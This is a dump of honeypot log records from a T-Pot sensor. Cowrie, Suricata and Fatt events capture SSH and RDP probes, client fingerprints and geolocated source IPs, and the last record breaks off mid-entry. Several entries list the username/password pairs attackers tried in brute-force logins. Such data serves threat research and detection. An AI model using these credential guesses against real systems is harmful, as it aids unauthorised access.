34833	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:06.875642+03	2021-09-20 15:15:02.42869+03	{"_id": "LQYXA3wBvYTbRNuEjFjW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/8uhb9ijn] failed", "session": "7a90936e883c", "@version": "1", "password": "8uhb9ijn", "username": "root", "timestamp": "2021-09-20T12:04:06.875642Z", "@timestamp": "2021-09-20T12:04:06.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34834	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:08.145798+03	2021-09-20 15:15:02.43069+03	{"_id": "LgYXA3wBvYTbRNuEkFi_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/900] failed", "session": "7a90936e883c", "@version": "1", "password": "900", "username": "root", "timestamp": "2021-09-20T12:04:08.145798Z", "@timestamp": "2021-09-20T12:04:08.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34835	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:04:13.380027+03	2021-09-20 15:15:02.431691+03	{"_id": "OQYXA3wBvYTbRNuEpFhJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2136 (192.168.176.2:22) [session: d9ef34f82323]", "session": "d9ef34f82323", "@version": "1", "protocol": "ssh", "src_port": 2136, "dest_port": 22, "timestamp": "2021-09-20T12:04:13.380027Z", "@timestamp": "2021-09-20T12:04:13.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34836	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:04:13.111898+03	2021-09-20 15:15:02.43369+03	{"_id": "OgYXA3wBvYTbRNuEpFhJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "db0074e9f6dd", "@version": "1", "timestamp": "2021-09-20T12:04:13.111898Z", "@timestamp": "2021-09-20T12:04:13.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34837	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:04:13.382803+03	2021-09-20 15:15:02.43469+03	{"_id": "OwYXA3wBvYTbRNuEpFhJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d9ef34f82323", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:13.382803Z", "@timestamp": "2021-09-20T12:04:13.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34838	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:04:12.838054+03	2021-09-20 15:15:02.43569+03	{"_id": "NwYXA3wBvYTbRNuEpFhJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:49916 (192.168.176.2:22) [session: db0074e9f6dd]", "session": "db0074e9f6dd", "@version": "1", "protocol": "ssh", "src_port": 49916, "dest_port": 22, "timestamp": "2021-09-20T12:04:12.838054Z", "@timestamp": "2021-09-20T12:04:12.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34839	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:09.407658+03	2021-09-20 15:15:02.43769+03	{"_id": "MAYXA3wBvYTbRNuElFin", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "7a90936e883c", "@version": "1", "duration": 5.452967405319214, "timestamp": "2021-09-20T12:04:09.407658Z", "@timestamp": "2021-09-20T12:04:09.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34840	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:04:12.840857+03	2021-09-20 15:15:02.438691+03	{"_id": "OAYXA3wBvYTbRNuEpFhJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "db0074e9f6dd", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:04:12.840857Z", "@timestamp": "2021-09-20T12:04:12.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34841	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:04:03.951926+03	2021-09-20 15:15:02.439689+03	{"_id": "JgYXA3wBvYTbRNuEgVgc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:37166 (192.168.176.2:22) [session: 7a90936e883c]", "session": "7a90936e883c", "@version": "1", "protocol": "ssh", "src_port": 37166, "dest_port": 22, "timestamp": "2021-09-20T12:04:03.951926Z", "@timestamp": "2021-09-20T12:04:03.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34842	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:04:29.242922+03	2021-09-20 15:15:02.441691+03	{"_id": "hgYXA3wBvYTbRNuE41jz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:04:29.035547+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 188113004366555, "payload": "AAADzAYUtzAfxFtE83viGlHzccyvaAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40878, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:04:29.242922Z", "@timestamp": "2021-09-20T12:04:29.242Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......0..[D.{..Q.q..h...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	RU
34843	221.181.185.135	109.199.241.180	Fatt	2021-09-20 15:04:29.584352+03	2021-09-20 15:15:02.443692+03	{"_id": "jQYXA3wBvYTbRNuE5Fj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "221.181.185.135", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "221.181.185.135", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 63151, "dest_port": 22, "timestamp": "2021-09-20T12:04:29.584352", "@timestamp": "2021-09-20T12:04:29.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34844	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:04:29.141022+03	2021-09-20 15:15:02.44469+03	{"_id": "jwYXA3wBvYTbRNuE5VhW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40878, "timestamp": "2021-09-20T12:04:29.141022", "@timestamp": "2021-09-20T12:04:29.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35059	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:06:09.930451+03	2021-09-20 15:15:02.74369+03	{"_id": "tAYZA3wBvYTbRNuEblmu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25091, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1788321188622995, "@version": "1", "in_iface": "enp5s0", "src_port": 55247, "dest_port": 53, "timestamp": "2021-09-20T12:06:09.930451Z", "@timestamp": "2021-09-20T12:06:09.930Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34845	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:04:29.770802+03	2021-09-20 15:15:02.446691+03	{"_id": "kAYXA3wBvYTbRNuE5li7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [Allen/123456] failed", "session": "b8a0d6e0b853", "@version": "1", "password": "123456", "username": "Allen", "timestamp": "2021-09-20T12:04:29.770802Z", "@timestamp": "2021-09-20T12:04:29.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	RU
34846	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:04:30.87984+03	2021-09-20 15:15:02.44769+03	{"_id": "kwYXA3wBvYTbRNuE6lij", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "b8a0d6e0b853", "@version": "1", "duration": 1.7396061420440674, "timestamp": "2021-09-20T12:04:30.879840Z", "@timestamp": "2021-09-20T12:04:30.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	RU
34847	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:04:25.000847+03	2021-09-20 15:15:02.448691+03	{"_id": "lAYXA3wBvYTbRNuE61jE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 399972999378912, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 52804, "timestamp": "2021-09-20T12:04:25.000847Z", "@timestamp": "2021-09-20T12:04:25.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34848	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 15:04:19.315844+03	2021-09-20 15:15:02.449691+03	{"_id": "XgYXA3wBvYTbRNuEu1i-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.71.28.3744222109.199.241.180'", "session": "09cee58c9772", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.71.28.3744222109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T12:04:19.315844Z", "@timestamp": "2021-09-20T12:04:19.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", 